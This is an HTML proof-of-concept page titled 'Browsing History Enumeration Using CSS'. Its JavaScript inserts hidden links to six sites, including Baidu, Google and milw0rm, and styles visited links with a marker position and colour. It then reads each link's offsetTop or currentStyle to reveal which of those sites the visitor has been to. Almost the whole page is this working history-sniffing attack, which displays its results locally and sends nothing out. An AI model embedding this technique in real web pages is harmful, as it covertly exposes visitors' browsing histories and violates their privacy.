<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<html> 
<head> 
<title>Browsing History Enumeration Using CSS</title> 
<meta name="generator" content="editplus">
<meta name="author" content="huangwei.bupt@gmail.com">
<script language="javascript">
<!--
function displayError(message, url, lineno){
  alert("JavaScript error detected!\n\nError: " + message + "\nLine: " + lineno + "\nURL: " + url + "\nBrowser: " + navigator.userAgent);
  return false;
}
window.onerror = displayError;
// --></script> 
</head> 
<body bgcolor="white" onLoad="init();"> 
<script language="javascript">
<!--
function init() {
if (typeof(local_init) == "function")
local_init();
}
// --></script> 
<div align="left"> 
 
<div class="normal"> 
<script language="javascript" type="text/javascript"><!--
var sites = new Array;
function addSite(s) {
	sites[sites.length] = s;
}
addSite("http://www.yahoo.cn/");
addSite("http://www.baidu.com/");
addSite("http://forum.byr.edu.cn/");
addSite("http://xiaonei.com/");
addSite("http://www.google.com/");
addSite("http://www.milw0rm.com/");

for (var i = 0; i < sites.length; i++) {
	document.writeln('<a id="s' + i + '" href="' + sites[i] + '"><' + '/a>');
}
	document.writeln('<style type="text/css">');
var x = "";
for (i = 0; i < sites.length; i++) {
x += '#s' + i;
if (i < sites.length-1) {
x += ', ';
}
}
document.write(x + ' { position: absolute; top: 0; }');
x = "";
for (i = 0; i < sites.length; i++) {
x += '#s' + i + ':visited';
if (i < sites.length-1) {
x += ', ';
}
}
document.write(x + ' { top: 100px; color: #660001; }');
document.writeln("<" + "/style>");
for (i = 0; i < sites.length; i++) {
var lnk=document.getElementById("s" + i);
 
var v=0;
if (lnk && 'offsetTop' in lnk)
if (lnk.offsetTop == 100)
v=1;
if (lnk && 'currentStyle' in lnk && 'color' in lnk.currentStyle)
if (lnk.currentStyle.color == '#660001')
v=2;
if (v){
document.writeln("<nobr><a target=\"_blank\" href=\"" + lnk.href + "\">" + lnk.href + "<" + "/a> ...");
document.writeln('<strong>You visited Site before!<' + '/strong><br>');
}
 
 
}
// --></script> 
 
</div> 
 
</div> 
</body> 
</html> 